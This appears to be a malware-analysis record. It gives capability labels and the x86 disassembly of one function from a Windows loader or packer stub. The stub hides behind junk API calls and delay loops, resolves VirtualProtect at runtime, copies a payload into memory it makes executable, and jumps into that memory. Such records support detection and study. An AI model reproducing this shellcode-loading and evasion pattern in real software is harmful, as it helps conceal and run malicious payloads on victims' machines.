Function at 0x401246
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable
Set registry value

Disassembly:
mov eax, 0x43065a
call fcn.0042f8b4
sub esp, 0x834
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401274
inc esi
cmp esi, 0x67d12
jl 0x40125d
cmp dword [0x2453c5c], 0x93
jne 0x401333
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.jixepeducane
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
call fcn.00402500
pop ecx
lea ecx, [ebp - 0x40]
call fcn.0040163b
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.0040292d
push ebx
push ebx
call fcn.00402688
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x433234
call fcn.00401f9f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00401ffb
push ebx
push ebx
call fcn.00401f00
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x40]
call fcn.00401603
mov eax, dword [0x436670]
add dword [0x2453c5c], 0x1134b
push str.kernel32.dll
mov dword [0x2454a98], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x24536ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2453c5c]
mov dword [0x24536e0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2453c5c]
mov dword [0x24536e8], eax
push eax
call dword [0x24536e0]
xor esi, esi
cmp esi, 0xacc
jge 0x4013be
push ebx
call dword [sym.imp.USER32.dll_SetClipboardViewer]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push ebx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, 0x45be411
jg 0x4013d8
inc esi
cmp esi, 0x3330601
jl 0x40138f
mov esi, 0x1692e
push ebx
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x4013dd
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2453c5c], ebx
jbe 0x40145a
mov eax, dword [0x2454a98]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x24536e8]
mov byte [ecx + esi], al
cmp dword [0x2453c5c], 0x490
jne 0x401451
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push ebx
call edi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc esi
cmp esi, dword [0x2453c5c]
jb 0x401408
xor esi, esi
mov eax, dword [0x2453c5c]
add eax, esi
cmp eax, 0x8d
jne 0x401494
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push ebx
call dword [sym.imp.USER32.dll_GetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc esi
cmp esi, 0x38681
jl 0x40145c
call fcn.00401184
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4014c3
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x24536e8], eax
inc esi
cmp esi, 0x674bd
jl 0x4014a4
push 0x7b
pop esi
cmp dword [0x2453c5c], 0x86
jne 0x401509
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec esi
jne 0x4014cf
push str.msimg32.dll
call edi
call dword [0x24536e8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret